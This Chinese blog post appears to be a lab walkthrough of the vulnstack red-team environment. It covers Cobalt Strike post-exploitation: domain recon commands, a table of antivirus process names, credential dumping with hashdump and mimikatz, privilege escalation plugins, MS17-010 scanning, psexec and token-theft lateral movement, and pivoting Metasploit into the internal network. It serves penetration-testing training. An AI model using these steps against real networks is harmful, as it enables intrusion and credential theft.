CS上线后对目标主机进行信息收集
ATT&CK实战-红日安全vulnstack(一) - soapffz’s blog
1 | whoami |
查看是什么操作系统&系统版本
系统中文:systeminfo | findstr /B /C:"OS 名称" /C:"OS 版本"
系统英文:systeminfo | findstr /B /C:"OS Name" /C:"OS Version"
查询系统体系架构:echo % PROCESSOR_ARCHITECTURE%
查询已安装的软件及版本
1 | wmic product get name,version |
在 win10 中,输入 wmic /? 会提示 wmic 已弃用,但在 server2012R2,win7 等版本中可以正常使用
powershell 中可替代该命令的是 Get-WmiObject:
1 | Get-WmiObject -class win32_product | Select-Object -property name,version |
查询进程及服务
1 | tasklist 默认显示映像名称,PID,会话名,会话,内存使用 |
常见的杀软进程:
| 进程名 | 软件 |
|---|---|
| 360sd.exe | 360 杀毒 |
| 360tray.exe | 360 实时保护 |
| ZhuDongFangYu.exe | 360 主动防御 |
| KSafeTray.exe | 金山卫士 |
| SafeDogUpdateCenter.exe | 安全狗 |
| McAfee | McShield.exe |
| egui.exe | NOD32 |
| AVP.exe | 卡巴斯基 |
| avguard.exe | 小红伞 |
| bdagent.exe | BitDefender |
域信息收集
判断是否存在域
1 | ipconfig /all 查看DNS服务器 |
查看时间服务器
1 | net time /domain |
发现能够执行,说明此台机器在域中 (若是此命令在显示域处显示 WORKGROUP,则不存在域,若是报错:发生系统错误 5,则存在域,但该用户不是域用户)
1 | 查询当前的登录域与用户信息:net config workstation |
查找域控
1 | nslookup + 域名 |
查询域控和用户信息
1 | net user /domain 查看当前域的所有用户 |
查看域控,升级为域控时,本地账户也成为域管:
1 | net localgroup administrators /domain |
1 | 获取域密码信息:net accounts /domain |
1 | 获取域信任信息 (cs 里执行提示不是内部或外部命令):nltest /domain_trusts |
获取到一个 cs 的 beacon 后可以目标内网情况和端口开放情况
在 beacon 上右键 -> 目标 -> 选择 net view 或者 port scan:
选择前者执行:
用 cs 的 hashdump 读内存密码:hashdump,用 mimikatz 读注册表密码:logonpasswords
在凭证信息一栏可以清楚查看:
如果权限不够可以提权,提权插件:ElevateKit
额外增加 ms14-058、ms15-051、ms16-016、uac-schtasks 四种提权方式
抓取密码后可以先探测内网其他主机:
ping 方法:
1 | for /L %I in (1,1,254) DO @ping -w 1 -n 1 192.168.72.%I | findstr "TTL=" |
最简单的直接 arp -a 查看也可以,这里还推荐一个好用工具 Ladon
Ladon作者是 k8gege,它是一个大型内网渗透扫描器并且支持 cs 脚本形式
cs 要使用的话只需要下载其中的 Ladon.exe 和 Ladon.cna 即可运行基本功能
查看帮助:
扫描网段内存活主机信息:Ladon 192.168.72.0/24 OsScan
1 | Ladon` 还有很多使用功能,比如扫描 `MS17-010`:`Ladon 192.168.72.0/24 MS17010 |
其他的功能可以自己去尝试
域探测差不多了还可以使用 BloodHound这款域渗透分析工具来分析攻击路径
BloodHound 介绍:
BloodHound 是一种单页的 JavaScript 的 Web 应用程序,构建在 Linkurious 上,用 Electron 编译,NEO4J 数据库 PowerShell/C# ingestor.BloodHound 使用可视化图来显示 Active Directory 环境中隐藏的和相关联的主机内容。攻击者可以使用 BloodHound 轻松识别高度复杂的攻击路径,否则很难快速识别。防御者可以使用 BloodHound 来识别和防御那些相同的攻击路径。蓝队和红队都可以使用 BloodHound 轻松深入了解 Active Directory 环境中的权限关系。
横向移动展开目录
这里有很多种方式,可以:
- cs 上开通 socks 通道,在攻击机上用 proxychains 将攻击机的 msf 代入内网,但是 cs 的 socks 代理不稳定
- ew 添加转接隧道,在攻击机上用 proxychains 将攻击机的 msf 代入内网
- cs 派生到 msf,msf 使用 socks4a 代理进内网,但是并不稳定
- cs 派生到 msf,msf 使用使用 autoroute 添加路由进内网
- 用 frp 创建 socks5 代理
我后面会专门写一篇文章来写各种带入方式,本篇篇幅过长,就不全部使用了
SMB Beacon展开目录
另外这里还要介绍下 cs 派生 SMB Beacon
SMB Beacon 使用命名管道通过父级 Beacon 进行通讯,当两个 Beacons 链接后,子 Beacon 从父 Beacon 获取到任务并发送。因为链接的 Beacons 使用 Windows 命名管道进行通信,此流量封装在 SMB 协议中,所以 SMB Beacon 相对隐蔽,绕防火墙时可能发挥奇效
简单来说,SMB Beacon 有两种方式
第一种直接派生一个孩子,目的为了进一步盗取内网主机的 hash
新建一个 Listener,payload 设置为 Beacon SMB:
在已有的 Beacon上右键 Spawn(生成会话 / 派生),选择创建的 smb beacon 的 listerner:
选择后会反弹一个子会话,在 external 的 ip 后面会有一个链接的小图标:
在图标视图中:
这就是派生的 SMB Beacon,当前没有连接
可以在主 Beacon 上用 link host 连接它,或者 unlink host 断开它
psexec 使用凭证登录其他主机展开目录
前面横向探测已经获取到内网内的其他 Targets 以及读取到的凭证信息
于是可以尝试使用 psexec 模块登录其他主机
右键选择一台非域控主机 ROOT-TVI862UBEH 的 psexec 模块:
在弹出的窗口中选择使用 god.org 的 Administrator 的凭证信息
监听器选择刚才创建的 smb beacon,会话也选择对应的 smb beacon 的会话:
可以看到分别执行了
1 | rev2self |
这几条命令,执行后得到了 ROOT-TVI862UBEH 这台主机的 beacon
如法炮制得到了域控主机 OWA 的 beacon:
token 窃取展开目录
除了直接使用获取到的 hash 值,也可以直接窃取 GOD\Administrator 的 token 来登录其他主机
选择 beacon 右键 -> 目标 -> 进程列表
选择 GOD\Administrator 的 token 盗取:
然后在选择令牌处勾选使用当前 token 即可:
效果和前面是一样的
cs 派生 msf 横向移动展开目录
前面 psexec 能迅速地获得域控主机的 beacon 是因为我们读取到了域管理员账号密码的 hash
但是一般情况下,我们是获取不到的,所以多种方法都需要学会使用
cs 和 msf 联动的话,可以使用 cs 开启 socks,然后 msf 将代理设置为此代理进行扫描
也可以直接用 cs 派生一个 msf 的 meterpreter 会话,此处使用后者
cs 与 msf 联动在 cs 的使用这篇文章中已经介绍过,此处不再赘述
1 | msf` 获得 `meterpreter` 会话后,首先查看当前路由:`run get_local_subnets |
然后添加对应网段:run autoroute -s 192.168.72.0/24 添加路由段
然后去使用 ms17-010 的模块,例如:
1 | auxiliary/admin/smb/ms17010command |
等去攻击域内其他主机即可。
- Post link: http://example.com/2021/11/14/%E5%86%85%E7%BD%91%E6%B8%97%E9%80%8F%E5%AD%A6%E4%B9%A0/
- Copyright Notice: All articles in this blog are licensed under unless otherwise stated.
若没有本文 Issue,您可以使用 Comment 模版新建。